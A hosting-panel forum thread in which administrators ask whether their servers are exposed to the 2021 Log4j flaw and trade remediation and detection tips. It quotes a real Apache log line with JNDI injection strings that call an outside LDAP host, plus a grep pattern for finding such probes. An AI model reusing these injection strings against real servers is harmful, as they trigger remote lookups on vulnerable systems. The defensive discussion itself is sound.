New zero-day exploit for Log4j Java library is an enterprise nightmare

Would love to hear what the experts here say. I"m still running CentOS 6, will have to do some digging...
 
I have concerns to, cpanel already have update for this, and cloudflare have put some auto waf rules to mitigate this problem.

Nothing to do in directadmin?
 
I don't think it's part of a standard install, but I'm no expert. Just ran a "find" for "*log4j*" on my entire server, and nothing turned up. I don't think Java is even running, I can't say I ever noticed a Java process. But obviously, you could have installed it manually.
 
For those who installed on the BOX some themselves or using on other Machines
Here check and tools.




Take care for this!

commented 43 minutes ago

Remediation by removing JndiLookup.class is safe for all log4j2 version from 2.0.1 and later. The original 2.0 release (and any betas/prereleases) will be broken if you remove JndiLookup.class
Because log4j2 is so ubiquitous, if is often bundled bundled into other jars rather than placed in its own jar which can be identified by filename. It is therefore a good idea to scan all jars for the presence of JndiLookup.class as suggested by @CyberRaiju above
But because it is frequently bundled, if is also frequently very outdated. I heard reports of people that broke installations of applications that bundled log4j2 2.0 by removing JndiLookup.class.
If your jar also contains JndiCloser.class, it is safe to remove JndiLookup.class. If not, this is version 2.0 and you will need some other method of remediation (environment, property or upgrade)
 
DirectAdmin does not use Log4j anywhere,

Not Directadmin, but doesn't apache? Also, why else am I getting these code 200's in apache logs? On the news last night they said it was an apache problem.
Code:
20.73.161.16 - - [12/Dec/2021:00:23:15 +0100] "POST /?id=%24%7Bjndi%3Aldap%3A%2F%2Fdivd-34a2c57b2b5b0ebb1242330ab52d8dcc_https_id.log4jdns.x00.it%2F%7D&page=%24%7Bjndi%3Aldap%3A%2F%2Fdivd-34a2c57b2b5b0ebb1242330ab52d8dcc_https_page.log4jdns.x00.it%2F%7D&search=%24%7Bjndi%3Aldap%3A%2F%2Fdivd-34a2c57b2b5b0ebb1242330ab52d8dcc_https_search.log4jdns.x00.it%2F%7D HTTP/1.1" 200 24561 "${jndi:ldap://divd-34a2c57b2b5b0ebb1242330ab52d8dcc_https_Referer.log4jdns.x00.it/" "${jndi:ldap://divd-34a2c57b2b5b0ebb1242330ab52d8dcc_https_User-Agent.log4jdns.x00.it/"
So since this gives a 200 result, I hope it's still safe.

Got loads of these kind of lines on our servers, also with 301 but also like this one with code 200.

JndiLookup.class
Is not found on my servers, I'm glad. :)

I used this code to find if it was being tried on our servers:
Code:
find /var/log/httpd/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;
 
Thank you, I just got a bit worried because I saw a 200 code response on a POST in that log. Phew.. LoL. :D
 
Last edited:
What about this?

This site says Exim is affected by CVE-2021-44228, for the new Log4j issue discovered today (CVE-2021-45046) it's still unknown.
Full Quoted while no exim version nr there and the link goes at exim part goes to NATS.IO https://advisories.nats.io/statements/log4j

See so if it makes sense then not clear enough:

Exim Affected​


Notified: 2021-12-13 Updated: 2021-12-15


Statement Date: December 14, 2021

CVE-2021-4104Unknown
CVE-2021-44228Affected
CVE-2021-45046Unknown

Vendor Statement​


We have not received a statement from the vendor.

References​



So hard to find out yes or no in which EXIM and or constillation with that docs?

Do someone knows EXIM does and how things with that NATS.io or is the text there wrong?

If you go to https://nats.io/ you see for example PAYPAL is using this to Who uses NATS


  • The NATS service is written in Go
  • NATS client libraries are written in a variety of languages, but the core ecosystem is written in Go
  • The direct client library for Java, nats.java, does not use or reference log4j; but like any code which logs in Java, the developer using the library can use injection to setup log4j as the logging framework.
    • By the very design of code injection as a development pattern, this is outside of the control of the NATS Maintainers and all we can do is acknowledge that “someone might have done that”.
  • One repository, the nats-jms-bridge, contains an admin console which transitively depends upon log4j; this admin console is for privileged access.
    • The admin console is not built by default with any particular version of log4j, but the integration test script would set up a classpath which contained a vulnerable version. This has been fixed in PR/290.
I think / Hope offtopic this:
Updates for the NATS.io if one is interested or want to check NATS JMS/MQ Bridge
 
Last edited:
Is this log4j issue affect the early Full text search function (Solr + Java + log4j) that listed in this link?
Thank you very much.
 
my understanding is - By default, DirectAdmin does not ship log4j nor Apache Solr.

However, for dovecot + Solr (self-installed, or follow the guide in the link, or else), it may be affected, you may have a look at
 
Last edited:
Back
Top